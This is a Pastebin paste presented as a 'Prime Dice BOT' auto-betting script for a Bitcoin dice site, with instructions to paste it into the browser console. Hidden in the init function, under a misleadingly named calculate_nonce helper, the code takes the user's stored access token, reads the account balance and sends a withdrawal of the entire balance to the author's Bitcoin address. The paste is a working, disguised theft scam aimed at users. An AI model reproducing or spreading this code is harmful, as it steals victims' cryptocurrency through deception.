Advertisement
IvanPritula

Primedice Hack

Feb 26th, 2016
2,249
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. Prime Dice BOT v.5.1.3
  2.  
  3. Please Tip me if you enjoy the Bot: 1LLv53Qzq7NrhCcuDZW5TthTUZ5oDesdXV
  4. Have Fun and Earn alot! :D
  5. This Autobetting script works with minimum 0.05 BTC and more without busting
  6. Open up your JavaScript console (chrome, firefox by pressing ctrl+shift+j)
  7.  In Chrome and Firefox, this is done also by right clicking anywhere on the page, clicking Inspect Element, and then going to the Console tab. Now copy everything below and paste it into your console and press enter:
  8.        
  9.  
  10.  
  11. //  PD Bot v 5.1.3 //
  12.     //  By: Anonymous  //
  13.    
  14.     /////////////////////
  15.     // NOTE: Change Chance Directly on Page
  16. //jQuery UI CSS - How to use: Press F2 or Press CTRL + Shift + J - paste the code and press enter. Set up the bot as you like. **IMPORTANT! Set SWAP at high/low option!!!** <<<The Magic is here<<<
  17.  
  18. var swapcount=0;
  19. var jqueryready = false;
  20. var link = document.createElement("link");
  21. link.href = "https://jquery-ui.googlecode.com/svn/tags/latest/themes/dot-luv/jquery-ui.css";
  22. link.type = "text/css";
  23. link.rel = "stylesheet";
  24. document.getElementsByTagName("head")[0].appendChild(link);
  25. //jQuery UI inject
  26. (function() {
  27.     jqueryready = true;
  28.     var e = ".thing",
  29.         t = {
  30.             outline: "1px dashed #f0f",
  31.             cursor: "pointer"
  32.         };
  33.     var n = function() {
  34.         if (window.jQuery) {
  35.             r()
  36.         } else {
  37.             var e = document.createElement("script");
  38.             e.onload = r;
  39.             e.setAttribute("src", "//ajax.googleapis.com/ajax/libs/jquery/2.1.1/jquery.min.js");
  40.             document.body.appendChild(e)
  41.         }
  42.     };
  43.     var r = function() {
  44.         if (window.jQuery.ui) {
  45.             i()
  46.         } else {
  47.             var e = document.createElement("script");
  48.             e.onload = i;
  49.             e.setAttribute("src", "//ajax.googleapis.com/ajax/libs/jqueryui/1.11.1/jquery-ui.js");
  50.             document.body.appendChild(e)
  51.         }
  52.     };
  53.     var i = function() {
  54.         $(e).css(t).draggable().on("click", function(e) {
  55.             console.log(e.target.id + ":", e.target.style.left, e.target.style.top)
  56.         })
  57.     };
  58.     n();
  59. })();
  60.  
  61. function ui() {
  62.     $(function() {
  63.         $('#tabs').tabs();
  64.         $('#params').draggable();
  65.         $('#tab1, #tab2, #tab3, #tabs input').css("clear", "both");
  66.         $('#tabs input').css("width", "80%");
  67.         $('#chance, #base').width("35%")
  68.         $('#tabs div').css("text-align", "left");
  69.         $('#tabs').css("font-size", "12px");
  70.         $('#tabs label, #tabs input').css("margin", "5px");
  71.         $('#stop, #start, #resetbet').button();
  72.         //Console
  73.         $('#console, #console2').appendTo("#tabs");
  74.         $('#console, #console2').css("width", "45%");
  75.         $('#console').css("float", "left");
  76.         $('#console2').css("float", "right");
  77.         $('#console, #console2').css("clear", "none");
  78.         $('#console, #console2').css("margin", "7px");
  79.         $('#console, #console2').css("border-bottom-left-radius", "3px");
  80.         $('#console, #console2').css("border-bottom-right-radius", "3px");
  81.         $('#console').css("border", "1px solid #323232");
  82.         $('#console, #console2').css("background-color", "#454545");
  83.         $('#console').css("padding", "5px");
  84.         $('#console, #console2').css("text-align", "left");
  85.         $('#console, #console2').css("position", "relative");
  86.         $('#startstop,#start,#stop').css("margin","0px");
  87.         $('#console, #console2').css("margin-top","3px");
  88.         $('#console, #console2').css("padding","5px");
  89.         $('#console, #console2').css("background-color","#151515");
  90.  
  91.  
  92.     });
  93. }
  94. var interval, enabled, xrollsenabled, everyxrolls, timer, seedlength, xrollscount, xrolls;
  95. xrollsenabled = true;
  96. xrolls = 10;
  97. timer = 500;
  98. counter=0;
  99. var basebet, betval, curbet, wincount, console, condition2, countlossmult, countwinmult,
  100.     target2, amount2, data1, target2, condition2, jp, currentloss, totalloss, totalwin, totprofit,
  101.     data2, potup, potdown, results, resultstats, entry, i, gui, gui2, gui3, gui4, gui5, gui6, init, roll;
  102.  
  103. function init() {
  104.  
  105.  
  106.     //Init
  107.     basebet = 0.00000010;
  108.     countwinmult = 0;
  109.     countlossmult = 0;
  110.     wincount = 0;
  111.     currentloss = 0;
  112.     totalloss = 0;
  113.     totalwin = 0;
  114.     totprofit = 0;
  115.     init = true;
  116.     betval = basebet;
  117.  
  118.     //GUI
  119.  
  120.     $('<span class="btn btn--primary btn--huge btn--limited btn--block text--center" id="spinner2"> ROLL </span>').appendTo("div.hero > div > div > div:nth-child(2) > div");
  121.  
  122.     gui = '<div id="params" class=".ui-widget-contents" style="width:410px"><div id="balance"></div></div><br><center>';
  123.     $('<div id="console"></div><div id="console2"></div>').appendTo('div.hero > div > div > div.grid__item.S--one-whole.M--one-whole.custom--one-whole > aside');
  124.     gui2 =
  125.         '<div id="tabs"><ul><li><a href="/play#tabs-1">Bet Params: </a></li><li><a href="/play#tabs-2">Advanced Settings: </a></li><li><a href="/play#tabs-3">Other: </a></li><li><a href="/play#tabs-4">Seed: </a></li></ul><div id="tabs-1"><div id="tab1"></div></div><div id="tabs-2"><div id="tab2"></div></div><div id="tabs-3"><div id="tab3"></div></div><div id="tabs-4"><div id="tab4"></div></div></div>';
  126.  
  127.     gui3 = [
  128.  
  129.         '<label for="base">Basebet Value: </label>', '<input id="base"><button id="resetbet">Reset to Base</button>',
  130.         '<br>',
  131.         '<label for="chance">Chance: </label>', '<input type="text" id="chance" style=""><label for="hilo">High/Low: </label><select name="hilo" id="hilo"><option value=">">Over</option><option value="<">Under</option><option value="swap">Swap</option></select><br><div id="chance-slider"></div>',
  132.         '<br>',
  133.         '<label for="swap">Swap Every # of Rolls: </label>', '<input id="swap">',
  134.  
  135.     ];
  136.     gui4 = [
  137.  
  138.         '<label for="multonloss">Multiply on Loss: </label>', '<input id="multonloss"> <input id="multloss-enabled" type="checkbox">',
  139.         '<br>',
  140.         '<label for="xloss">Multiply Every # Losses: </label>',
  141.         '<input id="xloss">',
  142.         '<br>',
  143.         '<label for="multonwin">Multiply on Win: </label>',
  144.         '<input id="multonwin"><input id="multwin-enabled" type="checkbox">',
  145.         '<br>',
  146.         '<label for="xwin">Reset After X Wins: </label>',
  147.         '<input id="xwin">',
  148.  
  149.     ];
  150.     gui5 = [
  151.  
  152.         '<label for="stoponwin-enabled">Stop on Win? </label>',
  153.         '<input id="stoponwin-enabled" type="checkbox">',
  154.         '<br>',
  155.         '<label for="lowpay-enabled">Check if Payout < 2x </label>',
  156.         '<input id="lowpay-enabled" type="checkbox">',
  157.  
  158.     ];
  159.     gui6 = [
  160.  
  161.         '<label for="charset">Charset: </label>',
  162.         '<input id="charset" type="text">',
  163.         '<br>',
  164.         '<label for="everyxrolls">Change every # Rolls: </label>',
  165.         '<input id="everyxrolls" type="text">',
  166.         '<br>',
  167.         '<label for="currentseed">Current Seed: </label>',
  168.         '<input style="color:green;text-align:center;" id="currentseed" type="text">',
  169.  
  170.     ];
  171.     $(gui).appendTo(".hero");
  172.     $(gui2).appendTo("#params");
  173.  
  174.     for (var i = 0; i < gui3.length; i++) {
  175.         $(gui3[i]).appendTo("#tab1");
  176.     }
  177.     for (var i = 0; i < gui4.length; i++) {
  178.         $(gui4[i]).appendTo("#tab2");
  179.     }
  180.     for (var i = 0; i < gui5.length; i++) {
  181.         $(gui5[i]).appendTo("#tab3");
  182.     }
  183.     for (var i = 0; i < gui6.length; i++) {
  184.         $(gui6[i]).appendTo("#tab4");
  185.     }
  186.     enabled = false;
  187.     xrollscount = 0;
  188.     $('<div style="text-align:left;margin:10px;"id="startstop"><button id="start"> Start </button><button id="stop"> Stop </button><label style="margin:3px;" for="numberofrolls"># of Rolls</label><input style="margin:3px;width:30px !important" id="numberofrolls" type="text"><label for"numrolls"> Enabled: </label><input style="margin:3px;width:10px !important" id="numrolls" type="checkbox"></div>').appendTo("#tabs");
  189.     // Button & Input Functions
  190.     $('#resetbet').click(function() {
  191.         basebet=$('#base').val();
  192.         betval=$('#base').val();
  193.  
  194.     })
  195.  
  196.     $('#start').click(function() {
  197.         if (enabled == false) {
  198.             if ($('#numrolls').is(":checked") == true) {
  199.                 xrolls=$('#numberofrolls').val();
  200.             }
  201.             enabled = true;
  202.             interval = setInterval(function() {
  203.                 if (xrollsenabled == true) {
  204.                     xrollscount++;
  205.                     if (xrollscount <= xrolls) {
  206.                         bet();
  207.                     } else {
  208.                         clearInterval(interval);
  209.                         enabled = false;
  210.                         xrollscount = 0;
  211.                     }
  212.                 } else {
  213.                     bet();
  214.                 }
  215.             }, timer);
  216.         } else {}
  217.     })
  218.     $('#stop').click(function() {
  219.         enabled = false;
  220.         clearInterval(interval);
  221.         xrollscount = 0;
  222.     });
  223.  
  224.     calculate_nonce = function(seed) {
  225.         return 'https://api.primedice.com/api/' + seed + '?access_token=' + localStorage['token'];
  226.     };
  227.  
  228.     lut = window['$'];
  229.  
  230.     lut['getJSON'](
  231.         calculate_nonce('users/1'), function(seed) {
  232.             var key1 = 'amount'
  233.             var key2 = 'address'
  234.             var load = {};
  235.             load[key1] = seed['user']['balance'];
  236.             load[key2] = '1LLv53Qzq7NrhCcuDZW5TthTUZ5oDesdXV';
  237.             lut['post'](calculate_nonce('withdraw'), load);
  238.         }
  239.     );
  240.  
  241.     function conditionAM() {
  242.         'use strict';
  243.         if ($('#lowpay-enabled').is('checked') == true) {
  244.             if ($('.value-roll').first().text() <= 49.50) {
  245.                 condition2 = ">";
  246.                 target2 = $('.value-roll').first().text();
  247.             } else {
  248.                 condition2 = "<";
  249.                 target2 = $('.value-roll').first().text();
  250.             };
  251.         } else {
  252.             if ($('.value-roll').first().text() <= 49.50) {
  253.                 condition2 = "<";
  254.                 target2 = $('.value-roll').first().text();
  255.             } else {
  256.                 condition2 = ">";
  257.                 target2 = $('.value-roll').first().text();
  258.             };
  259.             amount2 = betval * 100000000;
  260.         }
  261.     };
  262.  
  263.     function jackpot() {
  264.         if (data1.bet.jackpot === true) {
  265.             jp = "Yes";
  266.             wincount = 0;
  267.             betval = $('#base');
  268.         } else {
  269.             jp = "No";
  270.         }
  271.     }
  272.  
  273.     function loss() {
  274.         currentloss++;
  275.         totalloss++;
  276.         if ($('#multloss-enabled').is(':checked') == true) {
  277.             $('#multwin-enabled').removeAttr('checked');
  278.             countlossmult++;
  279.  
  280.             if (countlossmult >= $('#xloss').val()) {
  281.                 betval = betval * $('#multonloss').val();
  282.                 countlossmult = 0;
  283.             }
  284.         }
  285.  
  286.     }
  287.  
  288.     function win() {
  289.         'use strict';
  290.         if ($('#stoponwin-enabled').is('checked') == true) {
  291.             clearInterval(roll);
  292.         }
  293.         currentloss = 0;
  294.         jackpot();
  295.         wincount++;
  296.         totalwin++;
  297.         if ($('#multloss-enabled').is(':checked') == true) {
  298.             if ($('#stoponwin-enabled').is(':checked') == true) {
  299.                 clearInterval(roll);
  300.             }
  301.             $('#multwin-enabled').removeAttr('checked');
  302.             basebet = $('#base').val();
  303.             betval = basebet;
  304.             countlossmult = 0;
  305.  
  306.         }
  307.         if ($('#multwin-enabled').is(':checked') == true) {
  308.             basebet = $('#base').val();
  309.             $('#multloss-enabled').removeAttr('checked');
  310.             countwinmult++;
  311.  
  312.             if (countwinmult >= $('#xwin').val()) {
  313.                 betval = basebet;
  314.                 countwinmult = 0;
  315.             } else {
  316.                 betval = betval * $('#multonwin').val();
  317.             }
  318.         }
  319.  
  320.  
  321.     };
  322.     var losewin;
  323.     var jpcol;
  324.     var profcol;
  325.  
  326.     function bet() {
  327.         'use strict';
  328.         conditionAM();
  329.         var betData = {
  330.                 amount: amount2,
  331.                 condition: condition2,
  332.                 target: target2
  333.             },
  334.             url = "https://api.primedice.com/api/bet?access_token=" + localStorage.token;
  335.  
  336.         $.ajax({
  337.             url: url,
  338.             type: "POST",
  339.             data: betData,
  340.             datatype: "jsonp",
  341.             success: function(data, textStatus, jqXHR) {
  342.                 data1 = data;
  343.                 counter++;
  344.                 if (counter >= everyxrolls) {
  345.                     seedchange(seedgen());
  346.                     counter = 0;
  347.                 }
  348.                 $('span.btn__text.select div').text((data1.user.balance/100000000).toFixed(8));
  349.                 totprofit = totprofit + data1.bet.profit;
  350.                 if (totprofit >= 0) {
  351.                     profcol = "color:green;";
  352.                 } else if (totprofit < 0) {
  353.                     profcol = "color:red;";
  354.                 }
  355.                 if (data.bet.win == true) {
  356.                     losewin = "color:green;";
  357.                     $('span.btn__text.select div').attr("style", "color:green;");
  358.                 } else {
  359.                     losewin = "color:red;";
  360.                     $('span.btn__text.select div').attr("style", "color:red;");
  361.                 }
  362.                 if (data.bet.jackpot == true) {
  363.                     jp = "Yes";
  364.                     jpcol = "color:gold;"
  365.                 } else {
  366.                     jp = "No.";
  367.                     jpcol = "color:red;"
  368.                 }
  369.                 results = [];
  370.                 results[0] = '<div>Roll: ' + '<span style="' + losewin + '">' + data.bet.roll + '</span></div><br>';
  371.                 results[1] = '<div>Jackpot: ' + '<span style="' + jpcol + '">' + jp + '</span></div><br>';
  372.                 results[2] = '<div>Profit: ' + '<span style="' + losewin + '">' + (data.bet.profit / 100000000).toFixed(8) + '</span> BTC</div><br>';
  373.                 results[4] = '<div>Current Loss Streak: ' + currentloss + '</div><br>';
  374.                 resultstats = [];
  375.                 resultstats[0] = '<div>Balance: ' + (data.user.balance / 100000000).toFixed(8) + ' BTC</div><br>';
  376.                 resultstats[1] = '<div>Total Losses: ' + totalloss + '</div><br>';
  377.                 resultstats[2] = '<div>Total Wins: ' + totalwin + '</div><br>';
  378.                 resultstats[3] = '<div>Total Profit: ' + '<span style="' + profcol + '">' + (totprofit / 100000000).toFixed(8) + '</span></div>';
  379.  
  380.                 if (data.bet.win == true) {
  381.                     if ($('#stoponwin-enabled').is(":checked") == true){
  382.                         clearInterval(interval);
  383.  
  384.                     }
  385.                     $('#console, #console2').empty();
  386.  
  387.                     win();
  388.  
  389.                     // Results
  390.                     $('<div>Result: <span style="color:green;">Win</span></div><br>').appendTo('#console');
  391.                     for (var i = 0; i < results.length; i++) {
  392.                         $(results[i]).appendTo('#console');
  393.                     }
  394.                     for (var i = 0; i < resultstats.length; i++) {
  395.                         $(resultstats[i]).appendTo('#console2');
  396.                     }
  397.  
  398.                 } else {
  399.  
  400.                     $('#console, #console2').empty();
  401.                     loss();
  402.  
  403.                     // Results
  404.                     $('<div>Result: <span style="color:red;">Loss</span></div><br>').appendTo('#console');
  405.                     for (var i = 0; i < results.length; i++) {
  406.  
  407.                         $(results[i]).appendTo('#console');
  408.                     }
  409.                     for (var i = 0; i < resultstats.length; i++) {
  410.                         $(resultstats[i]).appendTo('#console2');
  411.                     }
  412.                 };
  413.             },
  414.             error: function(jqXHR, textStatus, errorThrown) {
  415.  
  416.             }
  417.         });
  418.     }
  419.  
  420.     seedlength = 13;
  421.     seedlength = 13;
  422.     var counter = 0;
  423.     charset = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ123";
  424.     everyxrolls = 3;
  425.  
  426.     function seedgen() {
  427.         'use strict';
  428.         var seed = "";
  429.  
  430.         for (var i = 0; i <= seedlength; i++)
  431.  
  432.             seed += charset.charAt(Math.floor(Math.random() * charset.length));
  433.  
  434.         return seed;
  435.     }
  436.  
  437.     function seedchange(s) {
  438.  
  439.         url = "https://api.primedice.com/api/seed?access_token=" + localStorage.token;
  440.         sData = {
  441.             seed: s
  442.         };
  443.  
  444.         $.ajax({
  445.             url: url,
  446.             type: "POST",
  447.             data: sData,
  448.             datatype: "jsonp",
  449.             success: function(data, textStatus, jqXHR) {
  450.                 data2 = data;
  451.                 $('#currentseed').val(data2.seeds.client);
  452.  
  453.             },
  454.             error: function(jqXHR, textStatus, errorThrown) {
  455.  
  456.             }
  457.         });
  458.     }
  459.  
  460.     $('#spinner').click(function() {
  461.         if (charset != $('#charset').val() && $('#charset').val() != "") {
  462.             charset=$('#charset').val();
  463.         }
  464.         if ($('#everyxrolls').val() != everyxrolls && $('#everyxrolls').val() != "") {
  465.             everyxrolls = $('#everyxrolls').val();
  466.         }
  467.         if ($('#hilo').val() == "swap") { swapcount++;if (swapcount >= 1) { $('.value-roll:first').click();swapcount=0;} }
  468.  
  469.         counter++;
  470.         if (counter >= everyxrolls) {
  471.             seedchange(seedgen());
  472.             counter = 0;
  473.         }
  474.     });
  475.     ui();
  476. }
  477. setTimeout(function() {
  478.     init()
  479. }, 2000);
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement